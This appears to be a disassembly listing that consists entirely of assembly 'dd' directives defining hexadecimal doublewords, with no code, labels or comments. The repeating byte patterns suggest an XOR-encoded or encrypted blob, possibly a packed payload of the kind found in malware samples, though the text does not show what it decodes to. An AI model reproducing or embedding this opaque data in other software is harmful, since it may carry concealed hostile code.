		dd 344310FDh, 661133AFh, 3C5F3315h, 0D14B52EDh,	662DDACAh
		dd 0C9B93215h, 2739972Ch, 702770F7h, 48108B86h,	6616DA9Fh
		dd 0EA3215h, 8B77E688h,	778684Bh, 12F5B72Eh, 0E387340Ch
		dd 66443240h, 64AE3D75h, 0EC113215h, 0A70188CDh, 0ED25200Ch
		dd 74205790h, 41973D13h, 6883215h, 664435FDh, 0D0D0B115h
		dd 0AC14743Bh, 669BDB4Dh, 0B8E43215h, 38B33619h, 0F6EE2268h
		dd 514504A5h, 1975A8A7h, 0DF73536Fh, 99EECDEAh,	6D1FD3Ch
		dd 45ED95h, 9F0DC294h, 8E940974h, 698E2B61h, 66445690h
		dd 71A43D15h, 6113215h,	66883FFCh, 871F1A15h, 47181DFFh
		dd 247171F5h, 0EDEEFE7Ch, 0EDB853D4h, 74139B90h, 6CF85213h
		dd 0DF883215h, 443C90D9h, 6FFCD508h, 9F9A545Eh,	99336174h
		dd 4FBBCDEAh, 0E32D69CAh, 6611321Dh, 668AB01Ah,	7243215h
		dd 63AE3D75h, 113215h, 0E8A9D894h, 6646B61Ah, 7423215h
		dd 8A940974h, 698E2B61h, 66447690h, 0D12D5215h,	639A3DEEh
		dd 0DD883215h, 706814FBh, 6DAF3D74h, 8F113215h,	66883213h
		dd 826FC8EEh, 0E3A9098Ah, 60031434h, 673361ECh,	67443215h
		dd 0E62D69CAh, 66113218h, 66883AFCh, 0E53BE215h, 49CDED5Ch
		dd 969409FCh, 698E2B61h, 66447990h, 6628DB15h, 7C1C3215h
		dd 54731BA6h, 0B4D91E7Dh, 6763B79Eh, 0E51E3407h, 66883207h
		dd 6641DB75h, 0ECB03215h, 69DFFF42h, 6688329Ah,	35135315h
		dd 0E161694Ah, 6603DBCAh, 6EE43215h, 77487326h,	660B0491h
		dd 8AE406C0h, 65C2A547h, 12B0B72Eh, 0E32D340Ch,	6611325Ah
		dd 6686DB75h, 3D263215h, 8AC7F826h, 37963B37h, 95C14DC3h
		dd 0C1B8C494h, 0ED433FAEh, 740F1F90h, 61003D13h, 69443215h
		dd 6622339Ah, 0E671CB15h, 31E972FFh, 0ED6036EAh, 0A2A31629h
		dd 66113211h, 6681BC1Ah, 0D8243215h, 48A8361Ah,	5D706A45h
		dd 7FFCCA90h, 50C13D13h, 69223215h, 66113E9Fh, 600A3D15h
		dd 69443215h, 66223296h, 0F94B915h, 698E200Ch, 66443394h
		dd 0DC70CE15h, 99EECDEAh, 69D2E53Ch, 66443594h,	67A73D15h
		dd 93113215h, 9A0D09EDh, 69422B61h, 66220890h, 6603DB15h
		dd 0BBBC3215h, 2D5ACED6h, 0D4017FC0h, 54604D1Bh, 66BCE8C3h
		dd 6B91B79Eh, 8F423407h, 66113219h, 965FDB78h, 17213AEBh
		dd 7E0C822Dh, 99AC6774h, 4F77CDEAh, 5DBD6FFAh, 7F573690h
		dd 78943D13h, 9E883215h, 4B0DB79Eh, 9ADA3407h, 99EE8946h
		dd 0B9A1CDEAh, 6643DB4Eh, 467F3215h, 0E98BAAA0h, 660D0942h
		dd 69422B60h, 66224790h, 0ED1E5215h, 66883217h,	0E24BCC9Eh
		dd 66223211h, 5ED48C73h, 0A735B174h, 66422033h,	6676B71Ah
		dd 77F83215h, 85883215h, 78187B3Bh, 7462AA3Eh, 58B416AEh
		dd 26F7A528h, 40D9B79Eh, 0EE2D3407h, 66113212h,	6689B91Ah
		dd 30BD3215h, 6F4C34ABh, 58FFB330h, 0E7C7ED14h,	336832DBh
		dd 63C4F318h, 2F69FC94h, 88096245h, 5CA848B1h, 0C709F494h
		dd 913808FBh, 0DB0BCE4Bh, 60562264h, 24A63D15h,	6113215h
		dd 0C3B68B73h, 664422FCh, 3FAD8E15h, 0E4255E1Ch, 61761B49h
		dd 130D9BCBh, 0E319530Bh, 60084799h, 6693B71Ah,	0EDBC3215h
		dd 742F5390h, 629A3D13h, 6883215h, 3625F99Eh, 99DDCDADh
		dd 3ED61BEAh, 0F735B1EDh, 66422000h, 67DEB61Ah,	74F83215h
		dd 56883215h, 434319EEh, 0F318B998h, 53EFD5E8h,	5F471FD1h
		dd 7FF9B190h, 66242012h, 67C9B61Ah, 0E1873215h,	66443200h
		dd 662ADB75h, 50023215h, 0FF547A2Bh, 0E84B5C74h, 66223215h
		dd 16940974h, 698E2B60h, 66440F90h, 0D142CA15h,	661CDA31h
		dd 946D3215h, 0ED87206Dh, 0F6514875h, 69F3B591h, 6688329Fh
		dd 0ED256815h, 7401F790h, 0EC1E5213h, 66883216h, 9F851Ah
		dd 788BAAFh, 99EE8B44h,	0A9A1CDEAh, 0E37FCE4Ch,	603B4795h
		dd 663CB71Ah, 0ED743215h, 7474EB90h, 61A63D13h,	69113215h
		dd 6688339Dh, 0D812CB15h, 141D5F04h, 0E713D4D4h, 9B3C71FBh
		dd 38B333DDh, 6623B61Ah, 5DED3215h, 7FFD4690h, 21C13D13h
		dd 69223215h, 66113396h, 0E303C715h, 605622C4h,	66223FFCh
		dd 309A2B15h, 70A3EE67h, 677CB7Eh, 0DB775147h, 76C6668Ah
		dd 9309E7E2h, 896C9974h, 67FDD14h, 661AB01Ah, 63603215h
		dd 0FC443215h, 0CEA78702h, 7EAF544Eh, 0E3B35384h, 605D4791h
		dd 660FB71Ah, 0E11E3215h, 6688321Dh, 0A0F33D75h, 7FD8D1Ah
		dd 48E8B79Eh, 6C613407h, 0E0443215h, 0FD9707DCh, 0CD0C0C90h
		dd 99306272h, 4FBBCDEAh, 5DDA6AD2h, 7F64BA90h, 5E0D3D13h
		dd 6443215h, 66223CFDh,	0E6716315h, 0C38C52E0h,	651ACDCBh
		dd 17D6BCh, 39C8BCACh, 19278D73h, 3BC1B974h, 6242035h
		dd 0C2B973h, 0FFFAFA94h, 99FC6274h, 4FDDCDEAh, 5DE96AD2h
		dd 7FFD4A90h, 51C13D13h, 69223215h, 66113695h, 0A4035215h
		dd 33C1B974h, 8F24201Bh, 66113218h, 0CAB04F63h,	56DE3909h
		dd 1992FDBBh, 67A863B6h, 67883215h, 69246BDAh, 66223193h
		dd 959A5415h, 0E3B353ECh, 605D4769h, 663EB71Ah,	0E71E3215h
		dd 66883212h, 6645BF1Ah, 0EDD73215h, 740BDB90h,	910FC713h
		dd 0E145F496h, 0DBA1CEE2h, 6003350Ch, 970C3D15h, 6944321Dh
		dd 66223391h, 0E32AC715h, 6091471Dh, 6606B71Ah,	77CB3215h
		dd 56113215h, 0BDAE83E5h, 4F0EF731h, 0F5CA14F9h, 898C711Eh
		dd 7EC9B79Eh, 63AD3407h, 0D6223215h, 762C53F3h,	66898C43h
		dd 91453215h, 662CDB4Bh, 0BC083215h, 0B035C78h,	0AF506480h
		dd 5B32790Eh, 138DB72Eh, 0E387340Ch, 6644325Ch,	6623B31Ah
		dd 0EDE93215h, 74AE9F90h, 0E04BCB13h, 66223212h, 6610B61Ah
		dd 36743215h, 1425D3ADh, 43FAC50Eh, 34EA2E5Eh, 9780E818h
		dd 7A981F50h, 0A10B77ECh, 0AE9A524Dh, 752B973h,	66443AFCh
		dd 5419715h, 461C8914h
		dd 6A0D0990h, 69422B60h, 66225590h, 661DDB15h, 5DC83215h
		dd 0AEAF0B58h, 89203527h, 0E91EDA3Dh, 6688321Bh, 66443BFCh
		dd 4676E415h, 1DD27017h, 0E303D41Bh, 60561904h,	662226FCh
		dd 5267D315h, 0FFAF7C9h, 64BDDAC9h, 0D2907374h,	5027495Eh
		dd 93E8522Eh, 87FA5474h, 0A91353DDh, 0A920CB24h, 8F47B554h
		dd 66443219h, 0F421ABCBh, 3662880Eh, 2F05F129h,	1354B72Eh
		dd 0E32D340Ch, 66113257h, 418275h, 7E239ACh, 7C97B79Eh
		dd 34E43407h, 19936BAFh, 84A6B350h, 0E766890Dh,	2007B3E7h
		dd 6262F35Ah, 94C5E8E2h, 996A1D00h, 64BE514h, 668834FCh
		dd 3DE33D15h, 0D9CFADD3h, 33F6AE29h, 0E3B3C774h, 605D4701h
		dd 6675B71Ah, 77F83215h, 883215h, 0EE7B0C82h, 0F6512AAh
		dd 0B24F648Ah, 18CB64AFh, 664420FCh, 21D7A315h,	55903B71h
		dd 8C32321Dh, 0B38EB1BFh, 0ED112A23h, 74386B90h, 8A09CB13h
		dd 66443211h, 99060E9Ch, 8F4E1611h, 66883204h, 19B4ECA9h
		dd 192281F6h, 1EAC3566h, 3E218DD2h, 7EC10952h, 69242B60h
		dd 66116390h, 6683DB15h, 0B20D3215h, 306F34DAh,	67716AA9h
		dd 0A735B10Fh, 66422033h, 6616B71Ah, 0EC1E3215h, 6688321Dh
		dd 6646B81Ah, 7423215h,	7C3CB79Eh, 77613407h, 0CA443215h
		dd 4A384EB5h, 7D0EA922h, 5CFFA464h, 89674ACCh, 57E503EDh
		dd 26D603EDh, 0E3B3CA82h, 605D4709h, 6608B71Ah,	61F83215h
		dd 0E7883215h, 0EB21DC3h, 0E3A9CCA5h, 60031314h, 66883BFCh
		dd 1A928E15h, 4A49C965h, 0DC43D323h, 9977CDEAh,	9A1EE53Ch
		dd 1302B72Eh, 0E31E340Ch, 66883245h, 0A7F9B1EDh, 66242033h
		dd 6653B71Ah, 9A703215h, 6655B79Eh, 0E82D3407h,	6611321Bh
		dd 66883BFCh, 3D561215h, 0BB34B796h, 0D8474DE8h, 9977CDEAh
		dd 691AC53Ch, 66222597h, 77993D15h, 8F883215h, 66443219h
		dd 643E27FFh, 651E0F73h, 4B48A57Dh, 1360B72Eh, 0E32D340Ch
		dd 66113226h, 6683B61Ah, 60AD3215h, 87223215h, 351A31F5h
		dd 7F0DB932h, 8F42200Ah, 66223218h, 42090328h, 0C83E4035h
		dd 948D6F60h, 679C6441h, 67113215h, 5D746CE2h, 7F311A90h
		dd 42A73D13h, 93113215h, 76B9B79Eh, 243407h, 0DFADEB94h
		dd 37706D42h, 668833ACh, 3F8B3315h, 93E6B275h, 8A61D1ACh
		dd 5D74531Fh, 7F310290h, 27A73D13h, 69113215h, 6688339Ah
		dd 0DBC7CB15h, 603014D4h, 4B943D15h, 6883215h, 9C528DEDh
		dd 0ED432B59h, 74312390h, 0E7EE5213h, 0D56D39D7h, 0DF735326h
		dd 619657E5h, 2FC1E3E2h, 8FC5EBE2h, 61A557E1h, 9A48FD3Ch
		dd 13A4B72Eh, 0E34B340Ch, 66223231h, 0A7ACB1E9h, 668E2033h
		dd 6652B71Ah, 0EC2D3215h, 66113214h, 0A70DB9E9h, 9F422013h
		dd 99DD1F82h, 9386CDEAh, 13BCB72Eh, 0E34B340Ch,	6622322Bh
		dd 6619B71Ah, 0E1873215h, 66443217h, 0E3A95375h, 60031140h
		dd 6680BB1Ah, 0E04B3215h, 66223217h, 0DC435375h, 66883214h
		dd 8F1EE514h, 6622321Bh, 0B2DAB243h, 16337C84h,	74BC22B5h
		dd 0E3196856h, 6008472Dh, 66CBB71Ah, 8F243215h,	66223213h
		dd 0E4579769h, 6161A2D3h, 0A7443215h, 440840Bh,	0ED701083h
		dd 7491A790h, 6AC03D13h, 69223215h, 6611349Eh, 660A3D15h
		dd 34443215h, 662233AFh, 3CC63315h, 0D1875275h,	7BC53C2h
		dd 5AA709EDh, 69172B60h, 66880690h, 6EAD5215h, 1C223215h
		dd 491C0AD1h, 70372F2h,	772DB79Eh, 0E32D3407h, 66113214h
		dd 993062E0h, 4FBBCDEAh, 0E7426AD2h, 5E6C0EFBh,	0E7EE6147h
		dd 39050BC2h, 26A70974h, 69172B60h, 66880390h, 6AC53D15h
		dd 69223215h, 66113496h, 66063D15h, 0ED443215h,	74268390h
		dd 0B996CA13h, 9977D994h, 0B9C3CDEAh, 662ABB1Ah, 0E01E3215h
		dd 66883217h, 0E37F5375h, 603B4751h, 663AB71Ah,	68613215h
		dd 0C4443215h, 0AFC36A66h, 0C251C89Bh, 854D1DEEh, 43C1B964h
		dd 69242004h, 6611339Eh, 0DFD9CB15h, 99BBCDEAh,	67BFD3Ch
		dd 2E940974h, 698E2B60h, 66441C90h, 0E3A9CA15h,	600336E4h
		dd 668FBF1Ah, 0EF4B3215h, 66223214h, 67AA61E0h,	67883215h
		dd 6AAD69CAh, 0C1223215h, 0DD1D3146h, 0BDE5FB7Bh, 5D8C1070h
		dd 7F577E90h, 4D943D13h, 69883215h, 66442691h, 662DDB15h
		dd 7DA83215h, 917F0Eh, 5302EC0Fh, 70725F89h, 0A794B9E7h
		dd 938E2000h, 99BB8A45h, 0A10BCDEAh, 0E32ACA4Dh, 60914745h
		dd 6668B71Ah, 0EDDE3215h, 7437E790h, 6686DB13h,	0A4B23215h
		dd 77368CE8h, 62CBF449h, 0A74797C2h, 66458C43h,	91233215h
		dd 3842524Bh, 0A53F3D43h, 0E37F534Ch, 60301F48h, 6622B71Ah
		dd 69E83215h, 66443492h, 66A23D15h, 0ED113215h,	0E30353EDh
		dd 60563688h, 679F67E0h, 67113215h, 68616FFAh, 84443215h
		dd 0F236617Fh, 0F8618B64h, 89229C30h, 32C10915h, 69242B60h
		dd 66110390h, 0E303CA15h, 60561BF8h, 0BDA35475h, 8F717BBDh
		dd 66883205h, 82E360C9h, 0DD075F4Eh, 1FB753B4h,	98A68C22h
		dd 725F09Fh, 99DD8F40h,	8938CDEAh, 0E3B3CA48h, 605D4785h
		dd 6682B71Ah, 0E51E3215h, 66883200h, 664422FCh,	0EA89F615h
		dd 470C3E98h, 43031474h, 5F376B5Ch, 6631DB34h, 18BA3215h
		dd 0D9CAD456h, 8B33BDAFh, 6844E7AFh, 805DD5FEh,	0FE35B110h
		dd 66422B60h, 660BB71Ah, 0E41E3215h, 6688321Dh,	6646B81Ah
		dd 7423215h, 63988F96h,	69883407h, 66447791h, 6EA63D15h
		dd 6113215h, 6688BA1Ah,	0ED253215h, 7412F790h, 0DB44CA13h
		dd 591C44DDh, 93C5E7E2h, 58500252h, 0DF7EDF94h,	8989CC0Ch
		dd 6650DB48h, 2F823215h, 172A361Bh, 244511A3h, 1C847CC1h
		dd 2F6B87C6h, 0E32AD040h, 60914781h, 6618B71Ah,	9FD73215h
		dd 13898F96h, 6988340Ch, 66441890h, 6625DB15h, 93463215h
		dd 0F516C438h, 0EFF9B174h, 66242010h, 6625B61Ah, 6A613215h
		dd 73443215h, 301AD582h, 0DAACD124h, 0EDF572FCh, 7442FF90h
		dd 0DB77CB13h, 66113214h, 8FD5DD14h, 6644321Bh,	3E63F5FFh
		dd 39C33CFAh, 0A75D1535h, 0E37F727Ah, 603B474Dh, 6639B71Ah
		dd 0ED743215h, 745EFB90h, 0A9A95213h, 7D25E194h, 33E92D02h
		dd 99BBCDA8h, 3BCD1BEAh, 66113BFCh, 34513615h, 0C49EBE17h
		dd 0E31982D3h, 60084749h, 66BCB71Ah, 68AD3215h,	48223215h
		dd 0D599A1E2h, 0F8EE5782h, 6373F456h, 6BA7B974h, 6172006h
		dd 668BB81Ah, 0ED223215h, 91E4B2DFh, 67AB6074h,	67883215h
		dd 0ED2468C2h, 0E31953E6h, 60084775h, 66C0B71Ah, 0EDB83215h
		dd 742F9B90h, 6605DB13h, 3C813215h, 2E7F2FDBh, 23AE31C6h
		dd 0A3B5F865h, 0AFDD5DFh, 0D8120C15h, 0F0D4DFFh, 2816D4D4h
		dd 0E7CED4C4h, 0E65232E3h, 38D51BC5h, 661DBC1Ah, 61613215h
		dd 65443215h, 12E00548h, 0E32A0BB6h, 60914771h,	6671B71Ah
		dd 0EDDA3215h, 741CCB90h, 6A053D13h, 6443215h, 64E78C73h
		dd 1DC4DC94h, 69E96123h, 66443490h, 7425215h, 3470DD9Fh
		dd 668833AFh, 3C933315h, 6623B41Ah, 5DE43215h, 7FFD5A90h
		dd 59C13D13h, 69223215h, 6611239Bh, 6D033D15h, 8F443215h
		dd 66223213h, 0CED21B1Eh, 0E3037E5Bh, 6056349Ch, 999F67EDh
		dd 4FEECDEAh, 75616FFAh, 78443215h, 48A02CE0h, 536F778Fh
		dd 2680C151h, 0DE2616B7h, 0E319E868h, 60084779h, 66EAB71Ah
		dd 69243215h, 6622369Fh, 13A95415h, 669CDB21h, 199F3215h
		dd 0B69181F1h, 8A323Ah
		dd 0A2660C71h, 9DE61379h, 0ED43F6A8h, 74097390h, 61053D13h
		dd 6443215h, 0ED44B2A6h, 0D84753DAh, 9977CDEAh,	61AC53Ch
		dd 6B4FE094h, 75F82EB0h, 10883215h, 4C1313EEh, 0A359E20Ah
		dd 79D8D232h, 3560D4ACh, 93256E07h, 0E22DCD1Eh,	66113201h
		dd 6E33CA75h, 71A14F3h,	99CFD9FCh, 67953DEAh, 9E883215h
		dd 7D41B72Eh, 0E32D3407h, 66113220h, 0B80DBFE0h, 9A422B08h
		dd 662221FCh, 6CAEE015h, 0F3718716h, 7C311FAFh,	532C35Eh
		dd 0BD7498C9h, 996581FCh, 664FDBEAh, 0E8323215h, 2401736h
		dd 8CB7E276h, 4BC10968h, 69242036h, 66115D90h, 75605215h
		dd 0E8443215h, 0A68F6FE4h, 78B70F6h, 448EA8BCh,	0CB2280BEh
		dd 61CAC64Eh, 0C5113215h, 0B1CCBB1Ah, 381C65F0h, 0E5436842h
		dd 7F658AA8h, 0E3873313h, 6644322Dh, 662ABF1Ah,	69713215h
		dd 6688329Fh, 0E3C95315h, 667B3972h, 661138FCh,	0A0310D15h
		dd 2B1AE48h, 8F1A59D2h,	99EEDF2Dh, 69228275h, 66443497h
		dd 66A13D15h, 7113215h,	1240B72Eh, 0E24B340Ch, 66223229h
		dd 6605B31Ah, 0E3873215h, 6644321Bh, 66223BFCh,	3C6C0A15h
		dd 8FCAD2CFh, 0E37FCE8Bh, 603B46D9h, 663AB71Ah,	76613215h
		dd 0AE443215h, 5FAB6817h, 0CF8AEBFAh, 0C2254B19h, 9336E6C3h
		dd 99CEE9FCh, 661ADBEAh, 0A62E3215h, 0B2608E77h, 7099266Dh
		dd 0DF4065EEh, 59AA53D9h, 0E743DBD4h, 0CA424DFCh, 8F90736Bh
		dd 0B4FE03Bh, 0E71DFD9Ch, 742924E2h, 0E7C6C50Dh, 0B9C829FAh
		dd 7B83B325h, 0EF1EC54Ch, 0EE1E6DEBh, 6688321Ah, 664438FCh
		dd 0F73CD015h, 0FC009845h, 0E55C824Bh, 0E34B33EBh, 662232EAh
		dd 6602B21Ah, 68613215h, 67443215h, 19C8E384h, 7A58DC28h
		dd 0C900FDE3h, 0DAC1098Ch, 69242B61h, 66117190h, 74003D15h
		dd 8F443215h, 66223218h, 0C65AB929h, 24A750B0h,	179812FBh
		dd 0A2A7BF04h, 69116A92h, 66882796h, 6654DB15h,	49C13215h
		dd 3E619188h, 3DEAEBA1h, 8AA1F826h, 7FCB3B37h, 6EECDF9h
		dd 74B851Ah, 1284B72Eh,	0E32D340Ch, 6611323Eh, 5C0DBFE9h
		dd 8F446A9Dh, 66223212h, 0BABDCA1Fh, 8F1BD848h,	99BBD9E5h
		dd 60A93D75h, 69113215h, 6688329Fh, 0BCC55415h,	5D43D69Bh
		dd 7F65F690h, 320D3D13h, 69443215h, 66221D93h, 68F85215h
		dd 7C883215h, 557D77F2h, 0EA9A9935h, 4D86FBFDh,	669CDA96h
		dd 0CA4C3215h, 0A8FCA019h, 77E0C84Ch, 0FF0BFD62h, 1327C5EBh
		dd 77D7EE5h, 0EE6EB798h, 6361324Dh, 0E8443215h,	0AFFC15D6h
		dd 99FAB5FCh, 668DDBEAh, 10AA3215h, 36B2B61Eh, 66FC8C43h
		dd 12890C19h, 3E1A3631h, 6A22DF38h, 679F3D2Bh, 93883215h
		dd 31C88B44h, 0DE722565h, 44353237h, 8585E2E2h,	2E7F1556h
		dd 1675BE10h, 3ED01B02h, 8FD1FC9Ch, 66443212h, 2783A944h
		dd 6DE86EE7h, 610D3DE3h, 9E443215h, 99C92BFCh, 0E741CBEAh
		dd 14881621h, 52CF64D5h, 62E6B131h, 1411C494h, 0EF7164D5h
		dd 744883A0h, 0D3ABC713h, 60031228h, 8FB6B2E0h,	66B3B71Ah
		dd 34DA3215h, 661133AFh, 997A3315h, 8F1E6D27h, 66223219h
		dd 4B02B2DBh, 51F79661h, 6933E3E1h, 7504F594h, 91100450h
		dd 75AE8F40h, 896D0450h, 715248h, 324FC294h, 7E8604Bh
		dd 0EF16534Ah, 0EDF1BBE7h, 0A2921601h, 730C3D11h, 8F443215h
		dd 66223205h, 0D42486B1h, 59132595h, 3191C71Ah,	7BDCCD2Bh
		dd 0EF15DE96h, 6E311619h, 0E717AE4Bh, 556A75F4h, 53D8B32Bh
		dd 0E7AE516Fh, 78056FFCh, 4EE3B350h, 671F9912h,	6A616BDEh
		dd 0D7443215h, 0A8409816h, 6F067CE0h, 8F13D977h, 6644321Ah
		dd 1BC570EBh, 0C641D5EAh, 0C4514625h, 5D171856h, 742E83A8h
		dd 5E933D13h, 9E883215h, 0E04BC92Eh, 66223220h,	6638B61Ah
		dd 8EE83215h, 6644321Ah, 9D206926h, 7675C2C8h, 6701C0A9h
		dd 383B3474h, 66223FFCh, 4C292915h, 0BA7D96EFh,	914D8021h
		dd 8F43A011h, 99EEDBE3h, 335B9E0h, 69422037h, 66223E9Fh
		dd 609A3D15h, 69883215h, 66443299h, 67AA3D15h, 9E113215h
		dd 7859B7D2h, 66443407h, 423215h, 0CA0CEB94h, 668839FDh
		dd 7A2E3715h, 72A5E47Ch, 5AABC89Dh, 3E77851Ah, 61AD5274h
		dd 92223215h, 5559A927h, 0D301D914h, 60561228h,	0D0888875h
		dd 7714717h, 740B3D74h,	8F443215h, 66223218h, 0D2FB361Ah
		dd 72B3CBB6h, 3733E109h, 1EBFBF73h, 6172BECh, 668821FCh
		dd 32E37015h, 0F61317D6h, 24FAD907h, 5F6F9C7h, 19127CA7h
		dd 3FC08243h, 8FC2CD74h, 66883205h, 742EE989h, 0BD7A2F38h
		dd 382D6F33h, 0A0E46137h, 0E24BF21Eh, 66223237h, 661137FCh
		dd 3A8A3015h, 0F8AD3DBCh, 69223215h, 66113F92h,	6680DB15h
		dd 864C3215h, 0EB053AF5h, 0FB9CFD10h, 609FB994h, 66443DFCh
		dd 24C2E815h, 0CDEDACFCh, 6B600291h, 0FBADB1CAh, 0E52DE1EAh
		dd 99EECD47h, 66883BFCh, 5E85A615h, 0ED6C1375h,	0E01E9398h
		dd 6688321Dh, 6646B31Ah, 7423215h, 462C879Eh, 0E83407h
		dd 853CF294h, 0B797BB74h, 6917200Bh, 66883992h,	0E74B5215h
		dd 66223215h, 7E9B973h,	0F2D5AF98h, 75AD340Dh, 0E6223215h
		dd 0D89429C6h, 516CB179h, 0B8BB6CD6h, 0B553D44h, 0B5EED0DCh
		dd 75305475h, 0A4CF54AFh, 0D7A7B974h, 6172019h,	37018873h
		dd 6644B01Ah, 0EF433215h, 74310F90h, 6E9CA13h, 664439FCh
		dd 28E0B315h, 0A98B6AB3h, 0F27D7EF9h, 1E318A73h, 8E1CB274h
		dd 66DEB71Ah, 6A613215h, 1D443215h, 6AC3D67h, 8549A732h
		dd 0E51EF24Fh, 745D0BA8h, 0E22D3213h, 661132A4h, 0D3D954E0h
		dd 8CCC60FCh, 78E29Dh, 679C3D4Ch, 9F883215h, 664EDBBFh
		dd 95413215h, 375A086Ch, 9F458AC7h, 4240B943h, 8F26F696h
		dd 66113210h, 78105B43h, 67CF3D9Ah, 9E223215h, 0E7167D10h
		dd 37701B28h, 3E768FACh, 0D8CBB355h, 2701F20Bh,	6E61B35Ch
		dd 0E712FF12h, 0D72B83FCh, 91F8B371h, 4FBEAAEEh, 75AD6BDDh
		dd 90223215h, 0B0198B0Ch, 5CCDAC05h, 3F7EC59Ah,	8591A61Bh
		dd 0D84752D2h, 51C80BB8h, 3E82B35Bh, 4FEA8DD3h,	0CDE46CE5h
		dd 669DB21Ah, 76AD3215h, 34223215h, 0B10D4A19h,	95F83618h
		dd 48DDFE1h, 8FE39E3Eh,	661133FAh, 1115BFE9h, 8F422BCAh
		dd 66223204h, 0BF9CE127h, 718EFB7Ch, 0E52C9D84h, 0A5039D15h
		dd 8FC2CDF5h, 6688321Fh, 0D6FEB401h, 0E1725625h, 0FB9C4CABh
		dd 6091C659h, 8F97CDE0h, 66223212h, 78F8F0FFh, 6DCD2C3Bh
		dd 61C13DD5h, 9E223215h, 66111FFCh, 0E30BCE15h,	60561228h
		dd 0BDA35210h, 2BD2050Ah, 0A46153EDh, 6BBCDEBh,	6620B01Ah
		dd 919A3215h, 0E78753ECh, 66443213h, 67D6075h, 0FB9C5374h
		dd 6091C486h, 6655BE1Ah, 0E72D3215h, 6611321Eh,	668834FCh
		dd 1A550615h, 99802C00h, 0A61AC7C6h, 6685B71Ah,	8FB13215h
		dd 66223224h, 6610B91Ah, 36703215h, 664436ADh, 91E0B315h
		dd 6743AB1Bh, 9162B3D7h, 3E16AB1Bh, 64A73D75h, 6113215h
		dd 0ACB38A74h, 8F257F04h, 66223306h, 0E78CBFE0h, 8F8E259Eh
		dd 66443201h, 0CE8564F3h, 6C8E9F37h, 0F4133EF6h, 2BC9CDB6h
		dd 0A926205Eh, 0E51EE1EAh, 66883228h, 6655BF1Ah, 0E02D3215h
		dd 6611321Eh, 668834FCh, 0DF89CA15h, 0ED4AC131h, 74310FA0h
		dd 0EDE8C713h, 0A8CF54DAh, 4835DB74h, 69713215h, 6688399Dh
		dd 6642DB15h, 0B20E3215h, 41E1A415h, 5B05B974h,	8F422035h
		dd 66223212h, 5625F8F5h
		dd 0EFB25B2Dh, 74640FA0h, 0DD71CB13h, 52A24ABCh, 915BC55Eh
		dd 919FC5CEh, 0B4E1B3CEh, 4F0EE5F0h, 97A169CCh,	383FF394h
		dd 35D7669Eh, 661132AEh, 6163B315h, 4F507B50h, 61E1B3DEh
		dd 0EF057B50h, 69E869CCh, 0E722E5AAh, 7501CE2h,	34C8946h
		dd 0B88926B8h, 0E78A1B4Eh, 0CB476FFBh, 79983D01h, 69883215h
		dd 66442B9Ch, 6636DB15h, 1A9A3215h, 0F592DFC2h,	260DE828h
		dd 32797F08h, 0D769D542h, 0C27BA32Bh, 9B0BDBEDh, 6942CDEAh
		dd 66113E93h, 668EDA15h, 9DE43215h, 9A03CC2Eh, 0EB70CE4Ah
		dd 7E1E4488h, 0DC225213h, 0DD442CB7h, 99702829h, 0D18752C6h
		dd 62C03DE5h, 223215h, 78C6EACh, 0EF8CDE96h, 931C1629h
		dd 4447B73Eh, 0EFED3407h, 749A9F90h, 0E3CFCB13h, 60301070h
		dd 661DBB1Ah, 0EB873215h, 66443213h, 6622BD1Ah,	34E43215h
		dd 0A409D09Ch, 66443211h, 0E126D896h, 0EF4D1601h, 68611629h
		dd 0A1443215h, 2B34C713h, 0AA0096F3h, 94C7ACAFh, 55C05ABFh
		dd 62AB3215h, 0B99A5231h, 96373D75h, 725CB9Eh, 0FEBEBF98h
		dd 99E8340Dh, 60093DC4h, 6443215h, 92A85375h, 8394B974h
		dd 9E8E2038h, 48B5AE9h,	62AB3215h, 6AF85231h, 76883215h
		dd 0CA7BB07Ch, 5C3DC6E0h, 402D24h, 7B3FBAAh, 6645BD1Ah
		dd 37DB3215h, 0A790D39Ch, 66883211h, 0E140DB96h, 0EF7E1619h
		dd 0EDE81629h, 74AA5790h, 664BDB13h, 0F3D93215h, 34D2B9C1h
		dd 4B8BF0E1h, 0D70A5531h, 6D4ACE21h, 0EF113259h, 0E81611h
		dd 0A8A6D294h, 6631DB42h, 0C4553215h, 0B0326615h, 0ADC7D307h
		dd 0C9EDA9Ch, 5B9CDDF8h, 0EBE96971h, 7EDE1798h,	36D75213h
		dd 19FAB373h, 99E96AA9h, 67CA3DC4h, 9F223215h, 62906243h
		dd 67887D31h, 88C56C15h, 6623325Ah, 694FC09Ch, 6688209Bh
		dd 6649DB15h, 2FD3215h,	0A6FED834h, 0ABF70800h,	3665C473h
		dd 0F9063694h, 3F532879h, 263D8D42h, 290358B3h,	646EFD94h
		dd 0A1907DB5h, 55E85EF0h, 12C9F594h, 91A34606h,	33117AE5h
		dd 9ED7CB3Ch, 66443FFCh, 846CF415h, 781BA2CCh, 3C6EB91Ch
		dd 0EB6F5360h, 60301FF0h, 660EB31Ah, 8FE83215h,	66443201h
		dd 90C62636h, 3A243412h, 0EFF8E85Fh, 997FE802h,	8F923BC0h
		dd 214A8873h, 1F35B174h, 66422037h, 66BCB61Ah, 0EB1E3215h
		dd 66883206h, 66443CFCh, 77FBD715h, 0CE23093Ah,	0F773B492h
		dd 0ED264B1Eh, 740BCB90h, 6602DB13h, 0BB643215h, 28BF971Eh
		dd 7CEE0E8h, 0CED21B1Eh, 0D0B77E5Bh, 1FC119C4h,	6242037h
		dd 9F9A5475h, 5DE953E0h, 37C23DD4h, 6223215h, 66113CFCh
		dd 21DB9915h, 930483B7h, 0C14F2F35h, 690E9E9Ch,	0EDE9EDAAh
		dd 744A7B90h, 0EB2D5213h, 66113217h, 65E9F49Eh,	74664B90h
		dd 6625DB13h, 396A3215h, 0C40B3006h, 0A7C1BB40h, 624200Ch
		dd 0D4712EAFh, 6F37546Fh, 0D9AD5322h, 9A223214h, 0E7F0BB44h
		dd 668836D4h, 62ADB315h, 0E1223215h, 0EF4D1619h, 0D6E81619h
		dd 0BEF33D1Bh, 0A8AB6474h, 529AC29Ch, 624CB331h, 8F443215h
		dd 66223201h, 5BEA1023h, 338B5827h, 0D92D1571h,	9CEEE30Eh
		dd 9C577FE3h, 99778C43h, 9645CDEAh, 6974524Bh, 6611329Fh
		dd 0D4E86B15h, 664ADA34h, 48B3215h, 0FA67AB5Eh,	0C51CCCF1h
		dd 0CA4FEC8Ch, 3543534Ch, 661ECDAEh, 0ED503B15h, 0A2C51609h
		dd 66223211h, 66113FFCh, 8CCBD015h, 676B858Ch, 0AB20DFDAh
